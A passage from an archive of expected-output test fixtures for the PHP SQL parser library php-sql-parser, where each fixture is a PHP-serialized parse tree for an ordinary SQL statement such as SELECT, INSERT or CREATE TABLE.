arser/tests/expected/parser/show2.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"CREATE";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"DATABASE";}i:2;a:4:{s:9:"expr_type";s:8:"database";s:4:"name";s:5:"`foo`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:9:"base_expr";s:5:"`foo`";}}}PK     \7f  f  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue62a.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:8:"function";s:5:"alias";b:0;s:9:"base_expr";s:4:"CAST";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:48:"(CONCAT(table1.col1,' ',time_start)) AS DATETIME";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:36:"(CONCAT(table1.col1,' ',time_start))";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"CONCAT";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"table1.col1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:6:"table1";i:1;s:4:"col1";}}s:8:"sub_tree";b:0;s:8:"position";i:20;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"' '";s:8:"sub_tree";b:0;s:8:"position";i:32;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"time_start";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"time_start";}}s:8:"sub_tree";b:0;s:8:"position";i:36;}}s:8:"position";i:13;}}s:8:"position";i:12;}i:1;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"sub_tree";b:0;s:8:"position";i:49;}i:2;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"DATETIME";s:8:"sub_tree";b:0;s:8:"position";i:52;}}s:5:"alias";b:0;s:8:"position";i:12;}}s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"table1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"table1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"table1";s:8:"sub_tree";b:0;s:8:"position";i:67;}}}PK     \zE<  <  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue43.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"title";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"title";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"introtext";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"introtext";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:13:"kj9un_content";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"kj9un_content";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:13:"kj9un_content";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"`id`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'159'";s:8:"sub_tree";b:0;}}}PK     \1#  #  H  vendor/greenlion/php-sql-parser/tests/expected/parser/inlist1.serializednu [        a:3:{s:6:"SELECT";a:3:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"q.qid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"q";i:1;s:3:"qid";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"question";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"question";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"gid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"gid";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"questions";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"questions";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"q";s:9:"base_expr";s:4:"as q";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"q";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:14:"questions as q";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:15:{i:0;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:68:"(select count(*) from answers as a where a.qid=q.qid and scale_id=0)";s:8:"sub_tree";a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";b:0;s:9:"base_expr";s:5:"count";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"answers";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"answers";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"as a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"answers as a";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"a.qid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"qid";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"q.qid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"q";i:1;s:3:"qid";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"scale_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"scale_id";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"sid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"sid";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"11929";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:8;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"type";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"type";}}s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:25:"('F', 'H', 'W', 'Z', '1')";s:8:"sub_tree";a:5:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'F'";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'H'";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'W'";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Z'";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'1'";s:8:"sub_tree";b:0;}}}i:11;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:12;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"q.parent_qid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"q";i:1;s:10:"parent_qid";}}s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:14;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}}}PK     \ S)S  S  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue95.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:8:{s:9:"expr_type";s:16:"table_expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:5:"`Tmp`";s:9:"base_expr";s:8:"AS `Tmp`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"Tmp";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:43:"(SELECT 1 AS `ID`) UNION (SELECT 2 AS `ID`)";s:8:"sub_tree";a:1:{s:5:"UNION";a:2:{i:0;a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:5:"const";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"`ID`";s:9:"base_expr";s:7:"AS `ID`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ID";}}}s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}}i:1;a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:5:"const";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"`ID`";s:9:"base_expr";s:7:"AS `ID`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ID";}}}s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}}}}}}}PK     \M    L  vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns3.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";b:0;s:9:"base_expr";s:5:"count";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"tests";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"tests";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"tests";s:8:"sub_tree";b:0;}}}PK     \fE}T  T  I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment3.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:33:"-- inline comment in FROM section";}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}}PK     \n"    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue21.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"test";s:9:"base_expr";s:7:"as test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}}s:9:"base_expr";s:3:"SUM";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"10";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"account";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"account";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"account";s:8:"sub_tree";b:0;}}}PK     \J    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue97.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"webid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"webid";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:2:"fl";s:9:"base_expr";s:5:"as fl";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"fl";}}}s:9:"base_expr";s:5:"floor";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:5:"iz/2.";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"iz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"iz";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"/";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"2.";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"MDR1.Tweb512";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:4:"MDR1";i:1;s:7:"Tweb512";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"w";s:9:"base_expr";s:4:"as w";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"w";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:17:"MDR1.Tweb512 as w";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"w.webid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"w";i:1;s:5:"webid";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";s:8:"sub_tree";b:0;}}}PK     \Ìj  j  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33b.serializednu [        a:3:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}}s:8:"position";i:7;}s:5:"TABLE";a:6:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";b:0;s:7:"options";b:0;s:8:"position";i:13;}s:4:"LIKE";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"xyz";s:9:"base_expr";s:3:"xyz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"xyz";}}s:8:"position";i:25;}}PK     \,.d    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue36b.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:9:"base_expr";s:4:"test";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:16:"(`name`, `test`)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:20:"('\'Superman\'', '')";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:14:"'\'Superman\''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \z'    I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment9.serializednu [        a:3:{s:6:"INSERT";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:5:"alias";b:0;s:9:"base_expr";s:1:"a";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}}}i:3;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:36:"-- inline comment in INSERT section;";}}s:6:"SELECT";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:35:"-- inline comment in SELECT section";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"x";s:8:"sub_tree";b:0;}}}PK     \gFI(  (  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue25.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"contacts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"contacts";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"contacts";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"contacts.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:8:"contacts";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:285:"(SELECT email_addr_bean_rel.bean_id FROM email_addr_bean_rel, email_addresses WHERE email_addresses.id = email_addr_bean_rel.email_address_id AND email_addr_bean_rel.deleted = 0 AND email_addr_bean_rel.bean_module = 'Contacts' AND email_addresses.email_address IN ("test@example.com"))";s:8:"sub_tree";a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:27:"email_addr_bean_rel.bean_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:19:"email_addr_bean_rel";i:1;s:7:"bean_id";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:19:"email_addr_bean_rel";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:19:"email_addr_bean_rel";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:19:"email_addr_bean_rel";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:15:"email_addresses";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"email_addresses";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:5:"CROSS";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:15:"email_addresses";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:15:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:18:"email_addresses.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:15:"email_addresses";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:36:"email_addr_bean_rel.email_address_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:19:"email_addr_bean_rel";i:1;s:16:"email_address_id";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:27:"email_addr_bean_rel.deleted";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:19:"email_addr_bean_rel";i:1;s:7:"deleted";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:8;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:31:"email_addr_bean_rel.bean_module";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:19:"email_addr_bean_rel";i:1;s:11:"bean_module";}}s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:10:"'Contacts'";s:8:"sub_tree";b:0;}i:11;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:12;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:29:"email_addresses.email_address";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:15:"email_addresses";i:1;s:13:"email_address";}}s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;}i:14;a:3:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:20:"("test@example.com")";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:18:""test@example.com"";s:8:"sub_tree";b:0;}}}}}}}}PK     \,%L
  
  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue90.serializednu [        a:2:{s:6:"INSERT";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DELAYED";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"IGNORE";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:3;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"table";}i:4;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:7:"(a,b,c)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}i:2;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i: